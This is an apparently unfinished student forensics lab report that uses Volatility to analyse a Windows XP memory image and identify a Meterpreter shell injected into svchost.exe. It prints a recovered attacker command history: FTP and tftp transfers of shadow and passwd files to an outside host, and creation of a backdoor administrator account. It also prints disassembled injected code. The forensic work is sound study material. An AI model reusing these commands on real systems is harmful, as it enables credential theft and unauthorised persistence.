HEIG-VD

Blabla

Second graded AMM Laboratory

Blabla

Auteurs
Bailat Joachim
Maier Damien

Professeur
Ramos Ruan

28-05-2023

Table of Content

1 Questions

1.1 What tool was used to compromise the system?

Using plugins `cmdscan` and `consoles` we found evidence of an attacker trying to create a new user and add it to the local administrators group. The attacker also tried to exfiltrate the `shadow` and `passwd` files using `ftp` and `tftp` commands.

These commands were run by a child of `csrss.exe` (Pid 684), here is an extract of these commands :

```
**************************************************
CommandProcess: csrss.exe Pid: 684
CommandHistory: 0x10986f8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 9 LastAdded: 8 LastDisplayed: 8
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5b4
**************************************************
cd C:\
mkdir system32
cd system32
ftp 192.168.174.128
tftp 192.168.1.104 put shadow
tftp 192.168.1.104 put passwd
net user admin * /add
net localground Administrators admin /add #OOOPS
net localgroup Administrators admin /add
```

Using `pstree` we can see that a `cmd.exe` is running as a child of `svchost.exe` (Pid 1136) which is a child of our `csrss.exe` (Pid 684).

```
Name                                                  Pid   PPid   Thds
      Hnds Time
-------------------------------------------------- ------ ------ ------
     ------ ----
.. 0x89953020:csrss.exe                               684    620     11
       409 2013-08-15 22:55:10 UTC+0000
.. 0x8969f020:winlogon.exe                            708    620     22
       522 2013-08-15 22:55:10 UTC+0000
... 0x8998b680:wpabaln.exe                           1428    708      1
        58 2013-08-15 22:57:13 UTC+0000
... 0x8994dca8:services.exe                           752    708     16
       268 2013-08-15 22:55:10 UTC+0000
.... 0x895213c0:svchost.exe                           132    752      6
        88 2013-08-15 22:55:31 UTC+0000
.... 0x8989a980:vmtoolsd.exe                          272    752      8
       268 2013-08-15 22:55:32 UTC+0000
.... 0x8994f458:vmacthlp.exe                          924    752      1
        25 2013-08-15 22:55:10 UTC+0000
```

```
10 .... 0x899a1a00:svchost.exe                          1184    752      6
          70 2013-08-15 22:55:12 UTC+0000
11 .... 0x89b60998:svchost.exe                          1284    752     14
         195 2013-08-15 22:55:12 UTC+0000
12 .... 0x896a1b10:svchost.exe                           936    752     19
         202 2013-08-15 22:55:11 UTC+0000
13 .... 0x895e9618:svchost.exe                           996    752     10
         238 2013-08-15 22:55:11 UTC+0000
14 .... 0x89679608:alg.exe                              1768    752      6
         101 2013-08-15 22:55:40 UTC+0000
15 .... 0x89a54650:spoolsv.exe                          1644    752     14
         145 2013-08-15 22:55:13 UTC+0000
16 .... 0x89a90da0:svchost.exe                          1136    752     68
        4423 2013-08-15 22:55:11 UTC+0000
17 ..... 0x89985c08:wscntfy.exe                         1588   1136      1
          28 2013-08-15 22:55:40 UTC+0000
18 ..... 0x8950a020:cmd.exe                              440   1136      1
          33 2013-08-15 22:56:01 UTC+0000
19 ..... 0x8992fb08:wmiadap.exe                          364   1136      5
         172 2013-08-15 22:59:40 UTC+0000
```

So now the `svchost.exe` (Pid 1136) is suspicious, let's have a look at it.

Looking at the network connections using `sockets` we can see that the `svchost.exe` (Pid 1136) is actively listening on all interfaces on port 4444.

```
1
2 Offset(V)       PID   Port  Proto Protocol        Address
     Create Time
3 ---------- -------- ------ ------ --------------- ---------------
     -----------
4 0x896b87c0     1136    123     17 UDP             192.168.174.148
     2013-08-15 22:55:40 UTC+0000
5 0x896e36d8     1136    123     17 UDP             127.0.0.1
     2013-08-15 22:55:40 UTC+0000
6 0x898ad978     1136   4444      6 TCP             0.0.0.0
     2013-08-15 22:56:00 UTC+0000
```

Knowing that 4444 is a common port used by `msf` (metasploit) we can assume that this process is a even more malicious.

From now we can assume that it is most likely a reverse shell, so we can use `connections` to see if there is any active connection…

Here you go…

```
1 Offset(V)  Local Address             Remote Address            Pid
2 ---------- ------------------------ ------------------------ ---
3 0x8966bd30 192.168.174.148:4444      192.168.174.1:58719       1136
```

So we can assume that the attacker is using a reverse shell to connect to the machine.

The attacker is most likely using `msf` (metasploit) to get a reverse shell, so we can assume that the attacker is using a `meterpreter` shell.

After quick research about how `meterpreter` works, we found out that "Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime." https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

Let's use `malfind` in order to explore the potential strange VADS in here.

Hooray ! We found something interesting…

```
1 Process: svchost.exe Pid: 1136 Address: 0x2df0000
2 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
3 Flags: CommitCharge: 109, MemCommit: 1, PrivateMemory: 1, Protection: 6
4
5 0x0000000002df0000  4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 89
     MZ.....[REU.....
6 0x0000000002df0010  0e 00 00 ff d3 89 c3 57 68 04 00 00 00 50 ff d0
     .......Wh....P..
7 0x0000000002df0020  68 e0 1d 2a 0a 68 05 00 00 00 50 ff d3 00 00 00   h
     ..*.h....P.....
8 0x0000000002df0030  00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00
     ................
```

Based on the criteria seen in class :

- Full commited page -> YES
- RWX page -> YES
- Private memory -> YES
- No mapped file (VadS) -> YES
- MZ header -> YES

So `svchost.exe` (Pid 1136) is no more a suspicious process, it is most likely a malicious one.

We dumped the injected exectuable at `0x2df0000`, we ran `strings` on it and we found out that it is really a `meterpreter` shell :

here's an extract of some strings that "proves" that it is a `meterpreter` shell :

- `ReflectiveLoader` -> as described in https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/ the stager uses ReflectiveLoader to load the DLL into memory.
- ImpersonateLoggedOnUser -> this is a typical function used by `meterpreter` to impersonate the user.

In short, the tool used by the attacker is `meterpreter` and the process where it has been injected is `svchost.exe` (Pid 1136).

1.2 What was the IP address of the attacker's machine?

1.3 What directory was created to store the files before exfiltration?

1.4 Where was data exfiltrated from?

1.5 How was exfiltration performed?

1.6 How was persistence maintained?

```
cmdscan

**************************************************
CommandProcess: csrss.exe Pid: 684
CommandHistory: 0x10986f8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 9 LastAdded: 8 LastDisplayed: 8
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5b4
Cmd #0 @ 0x10a4be8: cd C:\
Cmd #1 @ 0x4f1eb8: mkdir system32
Cmd #2 @ 0x4f2fb0: cd system32
Cmd #3 @ 0x10a4c68: ftp 192.168.174.128
Cmd #4 @ 0x10a4ec0: tftp 192.168.1.104 put shadow
Cmd #5 @ 0x10a4f90: tftp 192.168.1.104 put passwd
Cmd #6 @ 0x4f2f78: net user admin * /add
Cmd #7 @ 0x1097bc0: net localground Administrators admin /add
Cmd #8 @ 0x1097cc0: net localgroup Administrators admin /add
**************************************************
```

With the `consoles` plugin we get a more detailed view of the commands that were run and the output of those commands :

```
consoles

Screen 0x4f2ab0 X:80 Y:300
Dump:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd C:\

```

```
C:\>mkdir system32

C:\>cd system32

C:\system32>ftp 192.168.174.128
Connected to 192.168.174.128.
220 ProFTPD 1.3.4a Server (Debian) [::ffff:192.168.174.128]
User (192.168.174.128:(none)): root
331 Password required for root
Password:
230 User root logged in
ftp> get /etc/shadow
200 PORT command successful
150 Opening ASCII mode data connection for /etc/shadow (866 bytes)
226 Transfer complete
ftp: 891 bytes received in 0.02Seconds 55.69Kbytes/sec.
ftp> get /etc/passwd
200 PORT command successful
150 Opening ASCII mode data connection for /etc/passwd (1033 bytes)
226 Transfer complete
ftp: 1058 bytes received in 0.00Seconds 1058000.00Kbytes/sec.
ftp> exit
Invalid command.
ftp> quit
221 Goodbye.

C:\system32>tftp 192.168.1.104 put shadow
Transfer successful: 891 bytes in 1 second, 891 bytes/s

C:\system32>tftp 192.168.1.104 put passwd
Transfer successful: 1058 bytes in 1 second, 1058 bytes/s

C:\system32>net user admin * /add
Type a password for the user:
Retype the password to confirm:
The command completed successfully.


C:\system32>net localground Administrators admin /add
The syntax of this command is:


NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
      HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
      SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]


C:\system32>net localgroup Administrators admin /add
The command completed successfully.
```

Probablement reflective DLL injection :

```
1
2  vol.py malfind -p 1136 -D injected_dump/
3  Volatility Foundation Volatility Framework 2.6.1
4  /usr/local/lib/python2.7/dist-packages/volatility/plugins/community/
       YingLi/ssh_agent_key.py:12: CryptographyDeprecationWarning: Python 2
        is no longer supported by the Python core team. Support for it is
       now deprecated in cryptography, and will be removed in the next
       release.
     from cryptography.hazmat.backends.openssl import backend
5  Process: svchost.exe Pid: 1136 Address: 0x2df0000
6  Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
7  Flags: CommitCharge: 109, MemCommit: 1, PrivateMemory: 1, Protection: 6
8
9  0x0000000002df0000  4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 89
       MZ.....[REU.....
10 0x0000000002df0010  0e 00 00 ff d3 89 c3 57 68 04 00 00 00 50 ff d0
       .......Wh....P..
11 0x0000000002df0020  68 e0 1d 2a 0a 68 05 00 00 00 50 ff d3 00 00 00   h
       ..*.h....P.....
12 0x0000000002df0030  00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00
       ................
13
14 0x0000000002df0000 4d              DEC EBP
15 0x0000000002df0001 5a              POP EDX
16 0x0000000002df0002 e800000000      CALL 0x2df0007
17 0x0000000002df0007 5b              POP EBX
18 0x0000000002df0008 52              PUSH EDX
19 0x0000000002df0009 45              INC EBP
20 0x0000000002df000a 55              PUSH EBP
21 0x0000000002df000b 89e5            MOV EBP, ESP
22 0x0000000002df000d 81c3890e0000    ADD EBX, 0xe89
23 0x0000000002df0013 ffd3            CALL EBX
24 0x0000000002df0015 89c3            MOV EBX, EAX
25 0x0000000002df0017 57              PUSH EDI
26 0x0000000002df0018 6804000000      PUSH DWORD 0x4
27 0x0000000002df001d 50              PUSH EAX
28 0x0000000002df001e ffd0            CALL EAX
29 0x0000000002df0020 68e01d2a0a      PUSH DWORD 0xa2a1de0
30 0x0000000002df0025 6805000000      PUSH DWORD 0x5
31 0x0000000002df002a 50              PUSH EAX
32 0x0000000002df002b ffd3            CALL EBX
33 0x0000000002df002d 0000            ADD [EAX], AL
34 0x0000000002df002f 0000            ADD [EAX], AL
35 0x0000000002df0031 0000            ADD [EAX], AL
36 0x0000000002df0033 0000            ADD [EAX], AL
37 0x0000000002df0035 0000            ADD [EAX], AL
38 0x0000000002df0037 0000            ADD [EAX], AL
39 0x0000000002df0039 0000            ADD [EAX], AL
40 0x0000000002df003b 00f0            ADD AL, DH
41 0x0000000002df003d 0000            ADD [EAX], AL
```

```
0x0000000002df003f 00                DB 0x0

Process: svchost.exe Pid: 1136 Address: 0x2e60000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 115, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x0000000002e60000  4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 89   MZ.....[REU.....
0x0000000002e60010  0e 00 00 ff d3 89 c3 57 68 04 00 00 00 50 ff d0   .......Wh....P..
0x0000000002e60020  68 e0 1d 2a 0a 68 05 00 00 00 50 ff d3 00 00 00   h..*.h....P.....
0x0000000002e60030  00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00   ................

0x0000000002e60000 4d                DEC EBP
0x0000000002e60001 5a                POP EDX
0x0000000002e60002 e800000000        CALL 0x2e60007
0x0000000002e60007 5b                POP EBX
0x0000000002e60008 52                PUSH EDX
0x0000000002e60009 45                INC EBP
0x0000000002e6000a 55                PUSH EBP
0x0000000002e6000b 89e5              MOV EBP, ESP
0x0000000002e6000d 81c3890e0000      ADD EBX, 0xe89
0x0000000002e60013 ffd3              CALL EBX
0x0000000002e60015 89c3              MOV EBX, EAX
0x0000000002e60017 57                PUSH EDI
0x0000000002e60018 6804000000        PUSH DWORD 0x4
0x0000000002e6001d 50                PUSH EAX
0x0000000002e6001e ffd0              CALL EAX
0x0000000002e60020 68e01d2a0a        PUSH DWORD 0xa2a1de0
0x0000000002e60025 6805000000        PUSH DWORD 0x5
0x0000000002e6002a 50                PUSH EAX
0x0000000002e6002b ffd3              CALL EBX
0x0000000002e6002d 0000              ADD [EAX], AL
0x0000000002e6002f 0000              ADD [EAX], AL
0x0000000002e60031 0000              ADD [EAX], AL
0x0000000002e60033 0000              ADD [EAX], AL
0x0000000002e60035 0000              ADD [EAX], AL
0x0000000002e60037 0000              ADD [EAX], AL
0x0000000002e60039 0000              ADD [EAX], AL
0x0000000002e6003b 00f0              ADD AL, DH
0x0000000002e6003d 0000              ADD [EAX], AL
0x0000000002e6003f 00                DB 0x0

Process: svchost.exe Pid: 1136 Address: 0x2fd0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 94, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x0000000002fd0000  4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00   MZ..............
```

```
0x0000000002fd0010  b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ........@.......
0x0000000002fd0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x0000000002fd0030  00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00  ................

0x0000000002fd0000 4d               DEC EBP
0x0000000002fd0001 5a               POP EDX
0x0000000002fd0002 90               NOP
0x0000000002fd0003 0003             ADD [EBX], AL
0x0000000002fd0005 0000             ADD [EAX], AL
0x0000000002fd0007 000400           ADD [EAX+EAX], AL
0x0000000002fd000a 0000             ADD [EAX], AL
0x0000000002fd000c ff               DB 0xff
0x0000000002fd000d ff00             INC DWORD [EAX]
0x0000000002fd000f 00b800000000     ADD [EAX+0x0], BH
0x0000000002fd0015 0000             ADD [EAX], AL
0x0000000002fd0017 004000           ADD [EAX+0x0], AL
0x0000000002fd001a 0000             ADD [EAX], AL
0x0000000002fd001c 0000             ADD [EAX], AL
0x0000000002fd001e 0000             ADD [EAX], AL
0x0000000002fd0020 0000             ADD [EAX], AL
0x0000000002fd0022 0000             ADD [EAX], AL
0x0000000002fd0024 0000             ADD [EAX], AL
0x0000000002fd0026 0000             ADD [EAX], AL
0x0000000002fd0028 0000             ADD [EAX], AL
0x0000000002fd002a 0000             ADD [EAX], AL
0x0000000002fd002c 0000             ADD [EAX], AL
0x0000000002fd002e 0000             ADD [EAX], AL
0x0000000002fd0030 0000             ADD [EAX], AL
0x0000000002fd0032 0000             ADD [EAX], AL
0x0000000002fd0034 0000             ADD [EAX], AL
0x0000000002fd0036 0000             ADD [EAX], AL
0x0000000002fd0038 0000             ADD [EAX], AL
0x0000000002fd003a 0000             ADD [EAX], AL
0x0000000002fd003c f8               CLC
0x0000000002fd003d 0000             ADD [EAX], AL
0x0000000002fd003f 00               DB 0x0

Process: svchost.exe Pid: 1136 Address: 0x30e0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 98, MemCommit: 1, PrivateMemory: 1, Protection: 6

0x00000000030e0000  4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00  MZ..............
0x00000000030e0010  b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ........@.......
0x00000000030e0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x00000000030e0030  00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00
```

```
     ................
0x00000000030e0000 4d              DEC EBP
0x00000000030e0001 5a              POP EDX
0x00000000030e0002 90              NOP
0x00000000030e0003 0003            ADD [EBX], AL
0x00000000030e0005 0000            ADD [EAX], AL
0x00000000030e0007 000400          ADD [EAX+EAX], AL
0x00000000030e000a 0000            ADD [EAX], AL
0x00000000030e000c ff              DB 0xff
0x00000000030e000d ff00            INC DWORD [EAX]
0x00000000030e000f 00b800000000    ADD [EAX+0x0], BH
0x00000000030e0015 0000            ADD [EAX], AL
0x00000000030e0017 004000          ADD [EAX+0x0], AL
0x00000000030e001a 0000            ADD [EAX], AL
0x00000000030e001c 0000            ADD [EAX], AL
0x00000000030e001e 0000            ADD [EAX], AL
0x00000000030e0020 0000            ADD [EAX], AL
0x00000000030e0022 0000            ADD [EAX], AL
0x00000000030e0024 0000            ADD [EAX], AL
0x00000000030e0026 0000            ADD [EAX], AL
0x00000000030e0028 0000            ADD [EAX], AL
0x00000000030e002a 0000            ADD [EAX], AL
0x00000000030e002c 0000            ADD [EAX], AL
0x00000000030e002e 0000            ADD [EAX], AL
0x00000000030e0030 0000            ADD [EAX], AL
0x00000000030e0032 0000            ADD [EAX], AL
0x00000000030e0034 0000            ADD [EAX], AL
0x00000000030e0036 0000            ADD [EAX], AL
0x00000000030e0038 0000            ADD [EAX], AL
0x00000000030e003a 0000            ADD [EAX], AL
0x00000000030e003c f8              CLC
0x00000000030e003d 0000            ADD [EAX], AL
0x00000000030e003f 00              DB 0x0

Process: svchost.exe Pid: 1136 Address: 0x3600000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 4113, PrivateMemory: 1, Protection: 6

0x0000000003600000  c8 00 00 00 13 01 00 00 ff ee ff ee 00 10 04 00
    ................
0x0000000003600010  00 00 00 00 00 fe 00 00 00 00 10 00 00 20 00 00
    ................
0x0000000003600020  00 02 00 00 00 20 00 00 30 21 20 00 ff ef fd 7f
    ........0!......
0x0000000003600030  1b 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00
    ................

0x0000000003600000 c8000000        ENTER 0x0, 0x0
0x0000000003600004 1301            ADC EAX, [ECX]
0x0000000003600006 0000            ADD [EAX], AL
```

```
180  0x0000000003600008 ff              DB 0xff
181  0x0000000003600009 ee              OUT DX, AL
182  0x000000000360000a ff              DB 0xff
183  0x000000000360000b ee              OUT DX, AL
184  0x000000000360000c 0010            ADD [EAX], DL
185  0x000000000360000e 0400            ADD AL, 0x0
186  0x0000000003600010 0000            ADD [EAX], AL
187  0x0000000003600012 0000            ADD [EAX], AL
188  0x0000000003600014 00fe            ADD DH, BH
189  0x0000000003600016 0000            ADD [EAX], AL
190  0x0000000003600018 0000            ADD [EAX], AL
191  0x000000000360001a 1000            ADC [EAX], AL
192  0x000000000360001c 0020            ADD [EAX], AH
193  0x000000000360001e 0000            ADD [EAX], AL
194  0x0000000003600020 0002            ADD [EDX], AL
195  0x0000000003600022 0000            ADD [EAX], AL
196  0x0000000003600024 0020            ADD [EAX], AH
197  0x0000000003600026 0000            ADD [EAX], AL
198  0x0000000003600028 3021            XOR [ECX], AH
199  0x000000000360002a 2000            AND [EAX], AL
200  0x000000000360002c ff              DB 0xff
201  0x000000000360002d ef              OUT DX, EAX
202  0x000000000360002e fd              STD
203  0x000000000360002f 7f1b            JG 0x360004c
204  0x0000000003600031 0008            ADD [EAX], CL
205  0x0000000003600033 06              PUSH ES
206  0x0000000003600034 0000            ADD [EAX], AL
207  0x0000000003600036 0000            ADD [EAX], AL
208  0x0000000003600038 0000            ADD [EAX], AL
209  0x000000000360003a 0000            ADD [EAX], AL
210  0x000000000360003c 0000            ADD [EAX], AL
211  0x000000000360003e 0000            ADD [EAX], AL
```